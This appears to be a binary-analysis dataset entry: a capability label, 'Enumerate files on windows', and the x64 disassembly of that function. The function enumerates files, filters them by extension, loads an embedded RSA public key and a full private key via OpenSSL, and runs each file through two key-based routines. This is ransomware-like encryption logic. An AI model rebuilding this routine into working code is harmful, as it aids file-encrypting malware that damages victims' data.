Function at 0x140001920
Capabilities:
Enumerate files on windows

Disassembly:
push rsi
push r14
push r15
sub rsp, 0x6a0
mov rax, qword [0x14002f008]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rsi, rdx
lea r8, [0x14002aa00]
mov r15, rcx
mov r9, rcx
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140001180
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
mov ecx, 6
cmp rax, 0xffffffffffffffff
je 0x140001c6f
mov qword [rsp + 0x6d0], rbx
lea r8, [0x14002aa48]
lea rdx, [0x14002aa78]
mov qword [rsp + 0x690], rdi
call fcn.1400011e0
lea r8, [0x14002aa80]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002aad0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002ab20]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002ab70]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002abc0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002ac10]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002ac60]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
mov qword [rsp + 0x698], rbp
nop dword [rax]
test byte [rsp + 0x30], 0x10
jne 0x140001c15
mov edx, 0x2e
lea rcx, [rsp + 0x5c]
call fcn.140003e4c
mov rdi, rax
test rax, rax
je 0x140001c15
xor ebx, ebx
nop dword [rax + rax]
mov rdx, qword [rsi + rbx*8]
mov rcx, rdi
call fcn.14000e038
test eax, eax
je 0x140001c15
inc rbx
cmp rbx, 9
jl 0x140001a90
mov edx, 0xffffffff
lea rcx, str._____BEGIN_PUBLIC_KEY______nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ZU2b59fnL39Ovt_XBs_nLcfUl_yOrtnwRbvttlGvw2k3NoqTdQTA3nv7AtRiIyS9H_6SKBMkyrT4_fuwLCzl_nt0fXTmu8m90IFVjZEf9N5VW1HtrN6zFGiv_AzSzHHasB7KvFRWgfsHKfSQBM9xA8_nEuzJksFXIK4nHhbAU74HsmDoNaOOQilN_lRLX3O5YBdTtN2NeW8G5POkYdzrNu9E_nr2HtBTg4TAs_uJDW1nBhbQ3Zl7heyIn_wnA3Mh9ffKUSztmVsgAgQaSQVBidQ5_ng50tWODwfccbfv1my6XushwaSQxixdZDwk5nTfwFuFd_UEUNOiR6RDVPwLsGtVy_nPwIDAQAB_n_____END_PUBLIC_KEY______n
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rbx, rax
test rax, rax
je 0x140001c69
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_PUBKEY]
test rax, rax
je 0x140001c69
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
mov edx, 0xffffffff
lea rcx, str._____BEGIN_PUBLIC_KEY______nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ZU2b59fnL39Ovt_XBs_nLcfUl_yOrtnwRbvttlGvw2k3NoqTdQTA3nv7AtRiIyS9H_6SKBMkyrT4_fuwLCzl_nt0fXTmu8m90IFVjZEf9N5VW1HtrN6zFGiv_AzSzHHasB7KvFRWgfsHKfSQBM9xA8_nEuzJksFXIK4nHhbAU74HsmDoNaOOQilN_lRLX3O5YBdTtN2NeW8G5POkYdzrNu9E_nr2HtBTg4TAs_uJDW1nBhbQ3Zl7heyIn_wnA3Mh9ffKUSztmVsgAgQaSQVBidQ5_ng50tWODwfccbfv1my6XushwaSQxixdZDwk5nTfwFuFd_UEUNOiR6RDVPwLsGtVy_nPwIDAQAB_n_____END_PUBLIC_KEY______n
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rbx, rax
test rax, rax
je 0x140001c69
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_PUBKEY]
mov rbp, rax
test rax, rax
je 0x140001c69
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
mov edx, 0xffffffff
lea rcx, str._____BEGIN_RSA_PRIVATE_KEY______nMIIEpAIBAAKCAQEA0ZU2b59fnL39Ovt_XBsLcfUl_yOrtnwRbvttlGvw2k3NoqT_ndQTA3nv7AtRiIyS9H_6SKBMkyrT4_fuwLCzlt0fXTmu8m90IFVjZEf9N5VW1HtrN_n6zFGiv_AzSzHHasB7KvFRWgfsHKfSQBM9xA8EuzJksFXIK4nHhbAU74HsmDoNaOO_nQilN_lRLX3O5YBdTtN2NeW8G5POkYdzrNu9Er2HtBTg4TAs_uJDW1nBhbQ3Zl7h_neyIn_wnA3Mh9ffKUSztmVsgAgQaSQVBidQ5g50tWODwfccbfv1my6XushwaSQxi_nxdZDwk5nTfwFuFd_UEUNOiR6RDVPwLsGtVyPwIDAQABAoIBADvsyKAbFIpjcnc_nkB6qtEMobhK_LKExin5kZwNr04PK0WZvxraElv83AFpJc2xzrcNf10632mgtu_nNzUEovoPGovZ0aCtA5KwvqpoHXtqkaBHISzINKEJ0hurUQHO3tzKGkQ3GfYOyqL_nq9Z4GThKtmce1GC6aGoM0XvfxSjdGRCO2566HSlF_9D6JwbxfxzjlSBwBuq0a4u_n5paHF3C6p9myk2OiNlBpTeZ_cVnekF9wzRt5Hbpr6WbCD89svg7zVnqiAEIsEaYZ_nS2NOujM2wInsloARItvoa7973oCHeERL8jWylf0je_kJnstMLLNeISYW3X3QUAS_ns6zdi4kCgYEA7IAehQPik1hkC87VWzMFumwjpqNbq5rsqCStKknDvmTpbNuvI_nbkbIlJNA3eyZSm0sVH1jsDAWc8YSKoEf98k5ZBVGP1xjsiLF8AOEkmKxxBsfybPb_nvPeRWPI7sWbippQR9OYvffTBz52tMJ3BHOuCHWiFgXgjoUOjk4Kc0CgYEA1TVf_ny_X9F257g4i7k0qMMpOwi1me_BmyUrEk6qQ2D3K8U3QfgHQ7v1IUzoLwq2rqnz0Y_nG_kFxYOSBaVZX6HWEU3OT1z2t0UuL4YpswAUkUJcnz7lrGR7DLE3oHYZEmFTJ__njOEX_0_me2m8IhCYbqKoTja3u0w_Nq0mPiZ5EDsCgYEAhxAeNgDBJ3xFB2z19OX_noIisMcW2nUO3Cdml1QXGHo88A52tFOuxwnt5Z0EdrfkoySeMgkpHFGS5p6bCWMyx_nuuXgRjSkXZvWYEFFqbMnUEY44Mqq7I4WE8BUBmsrqXnOjx65lAfbBfLaP3T0iLV_nXgC4wUToJPazJ_aD8Ms2IECgYBMejzGmJIUWZkMcXt3NgJcEgX9tkQFAeKpLsmj_nMQwDNpC_DqROG2NjGTpFaUqS8mLg5emUQj09GDojYsldpOm2VXrudj1nGcYvPMw_nNhMql7dJl_IiiFhrERZ3BGWx6zbRaWv4SLWm6y4tjpvhTDqhVM8yXwZAtPTn0wn_n1v0OCQKBgQC_jqt9W29JSJT2YXgijxzD_MmzEAvjB6irRvoUjVE9qZLCJShVbddA_nYEcl5ywQuxZTCmkC6mtXZDGUnGU_7QFNSZIauoiaMRZVySygeTvnVG3IvrvS_a_njCu6cMMc05RKaucoSbK2R39c1Fsh1fXR0rYFR6YMm4kuVZR4mpESVA_n_____END_RSA_PRIVATE_KEY______n
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rbx, rax
test rax, rax
je 0x140001c69
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_PrivateKey]
mov rdi, rax
test rax, rax
je 0x140001c69
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
mov r8, rbp
lea rdx, [rsp + 0x5c]
mov rcx, r15
call fcn.140001540
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
lea rdx, [rsp + 0x5c]
mov rcx, r15
call fcn.140001730
mov rcx, rbp
call qword [sym.imp.libcrypto_3_x64.dll_EVP_PKEY_free]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_PKEY_free]
lea rax, [rsp + 0x5c]
mov r9, r15
lea r8, [0x14002acc8]
mov qword [rsp + 0x20], rax
mov edx, 0x200
lea rcx, [rsp + 0x280]
call fcn.140001010
lea r8, [rsp + 0x280]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [0x14002acf0]
mov ecx, 1
lea rdx, [0x14002aa78]
call fcn.1400011e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001a60
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbp, qword [rsp + 0x698]
mov rbx, qword [rsp + 0x6d0]
mov rdi, qword [rsp + 0x690]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140002f70
add rsp, 0x6a0
pop r15
pop r14
pop rsi
ret
call fcn.140001520
int3
lea r8, [0x14002aa08]
lea rdx, [0x14002aa40]
call fcn.1400011e0
mov ecx, 1
call fcn.140007248
int3